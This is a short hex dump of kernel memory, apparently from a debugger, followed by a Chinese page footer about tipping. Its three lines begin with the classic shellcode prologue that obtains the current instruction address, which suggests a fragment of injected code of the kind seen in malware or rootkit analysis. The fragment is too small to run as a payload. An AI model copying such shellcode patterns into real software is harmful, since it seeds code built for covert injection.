868c4430 60 e8 00 00 00 00 5b e8-23 00 00 00 b9 76 01 00 `.....[.#....v..
868c4488 60 e8 00 00 00 00 5b e8-cb ff ff ff 8b 45 00 83 `.....[......E..
868c4830 60 e8 00 00 00 00 5b e8-23 00 00 00 b9 76 01 00 `.....[.#....v..
自愿打赏专区